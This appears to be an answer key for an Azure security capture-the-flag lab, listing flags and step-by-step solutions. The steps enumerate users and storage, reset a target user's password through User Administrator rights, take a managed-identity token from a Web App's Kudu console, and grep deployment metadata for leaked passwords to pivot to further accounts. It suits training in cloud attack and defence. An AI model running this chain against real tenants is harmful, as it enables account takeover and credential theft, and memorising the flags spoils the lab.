rg-prod-apps-eastus

Detailed Solution:

List accessible resource groups:

az group list --output table

For a cleaner search:

az group list \

--query " [?contains(name, ' prod ' )].{Name:name,Location:location} " \

--output table

Expected output:

Name Location

-------------------- ----------

rg-prod-apps-eastus eastus

The resource group containing prod is:

rg-prod-apps-eastus

================

Flag{92c8bfe4a73f48a6bd94e62fca2179dd}

Detailed Solution:

As the second compromised user, enumerate directory users:

az ad user list --output table

Use a cleaner query to show names, UPNs, and job titles:

az ad user list \

--query " [].{DisplayName:displayName,UPN:userPrincipalName,JobTitle:jobTitle} " \

--output table

You should identify a target user whose profile contains a flag in the jobTitle attribute.

The important target is:

lila.nguyen@azuresecops.onmicrosoft.com

Her jobTitle field contains:

Flag{92c8bfe4a73f48a6bd94e62fca2179dd}

Because the compromised user has User Administrator, you can reset this target user’s password and later authenticate as her.

Final Answer:

Flag{92c8bfe4a73f48a6bd94e62fca2179dd}

================

public-backups

Detailed Solution:

Try listing containers using Azure CLI:

az storage container list \

--account-name prodreportstore01 \

--auth-mode login \

--output table

If anonymous access is allowed, test via blob endpoint:

az storage blob list \

--account-name prodreportstore01 \

--container-name public-backups \

--auth-mode key \

--output table

In a lab, you can also test the public URL pattern:

https://prodreportstore01.blob.core.windows.net/public-backups/

Expected exposed container:

public-backups

Final answer:

public-backups

b72a4c19-92f6-47f3-b3dd-9db5a31831d1

Detailed Solution:

Run:

az webapp identity show \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--output json

Expected output:

{

" principalId " : " b72a4c19-92f6-47f3-b3dd-9db5a31831d1 " ,

" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a " ,

" type " : " SystemAssigned "

}

The principalId is the service principal object ID of the managed identity.

Microsoft documents that managed identities provide Azure-managed identities for applications and eliminate the need to manage application secrets directly.

================

Flag{app_settings_should_not_store_secrets}

Detailed Solution:

Query App Service settings:

az webapp config appsettings list \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--output json

Search for suspicious keys:

az webapp config appsettings list \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--query " [?contains(name, ' FLAG ' ) || contains(name, ' Flag ' ) || contains(name, ' SECRET ' )] " \

--output table

Expected output:

Name SlotSetting Value

---------- ------------- ----------------------------------------

APP_FLAG False Flag{app_settings_should_not_store_secrets}

The flag is:

Flag{app_settings_should_not_store_secrets}

================

Detailed Solution:

First identify the managed identity attached to the Web App.

az webapp identity show \

--name RnD-Tools \

--resource-group Excalibur-Resources \

--output json

You should see a user-assigned managed identity similar to:

{

" userAssignedIdentities " : {

" /subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups/Excalibur-Resources/providers/Microsoft.ManagedIdentity/userAssignedIdentities/WebAppTokenIdentity " : {

" clientId " : " cf3664d4-5cec-4feb-b0ef-88b7958809df " ,

" principalId " : " efe89e83-010f-42f6-9576-30531fa47af7 "

}

}

}

Now query the role assignments for the managed identity’s principal ID:

az role assignment list \

--assignee efe89e83-010f-42f6-9576-30531fa47af7 \

--all \

--output table

The returned custom role is:

AppService-Auditor

That makes option D correct.

Final Answer:

D. AppService-Auditor

================

Tenant ID: 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a

Subscription ID: 5d8e44ac-24a9-43d9-9cb5-71b227a58021

Detailed Solution:

Log in with the supplied account:

az login -u james.ward@cloudcorpsec.onmicrosoft.com -p ' < password > '

Show the active Azure context:

az account show --output json

Expected relevant output:

{

" id " : " 5d8e44ac-24a9-43d9-9cb5-71b227a58021 " ,

" name " : " CloudCorp Security Lab " ,

" tenantDefaultDomain " : " cloudcorpsec.onmicrosoft.com " ,

" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a "

}

The tenantId is the Microsoft Entra tenant ID. The id field is the subscription ID.

================

Detailed Solution:

From Q7, you should recover a limited-access SAS token or storage access information.

Set the storage account name and SAS token:

ACCOUNT= " excaliburstore "

SAS= " < recovered-sas-token > "

List containers:

az storage container list \

--account-name " $ACCOUNT " \

--sas-token " $SAS " \

--output table

The available container is:

sensitive-files

You can also confirm directly:

az storage blob list \

--account-name " $ACCOUNT " \

--container-name sensitive-files \

--sas-token " $SAS " \

--output table

Final Answer:

C. sensitive-files

================

The answer is the exposed provisioning secret retrieved from ARM deployment metadata, deployment operations, or App Service configuration. In this lab chain, it should reveal the next user credential, commonly for:

sumit.siddharth@azuresecops.onmicrosoft.com

Detailed Solution:

The key point is this: you are no longer only using Alex’s user permissions. You must use the Web App managed identity .

From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.

For Linux-style shell:

curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df " \

-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "

For Windows PowerShell inside Kudu:

$uri = " $env:IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df "

$response = Invoke-RestMethod -Uri $uri -Headers @{

" X-IDENTITY-HEADER " = $env:IDENTITY_HEADER

}

$token = $response.access_token

Now use the token to query Azure Resource Manager.

$sub = " 7403ec86-c39d-4d80-9efa-35c7580ecefa "

$rg = " Excalibur-Resources "

Invoke-RestMethod `

-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-version=2021-04-01 " `

-Headers @{ Authorization = " Bearer $token " }

Next, enumerate ARM deployments.

Invoke-RestMethod `

-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments?api-version=2021-04-01 " `

-Headers @{ Authorization = " Bearer $token " }

For each deployment name returned, inspect it:

$deploymentName = " < deployment-name > "

Invoke-RestMethod `

-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments/$deploymentName?api-version=2021-04-01 " `

-Headers @{ Authorization = " Bearer $token " }

Also check deployment operations:

Invoke-RestMethod `

-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments/$deploymentName/operations?api-version=2021-04-01 " `

-Headers @{ Authorization = " Bearer $token " }

Search the output for fields like:

password

secret

adminPassword

userPassword

credential

sumit

The exposed value is the answer to Q4.

A practical one-liner on Linux would be:

curl -s -H " Authorization: Bearer $TOKEN " \

" https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups/Excalibur-Resources/providers/Microsoft.Resources/deployments/ < deployment-name > /operations?api-version=2021-04-01 " \

| jq ' .. | strings ' | grep -iE ' password|secret|credential|sumit|flag '

Final Answer:

Use the leaked secret/password value returned from the deployment metadata. Do not guess this; it is lab-generated.
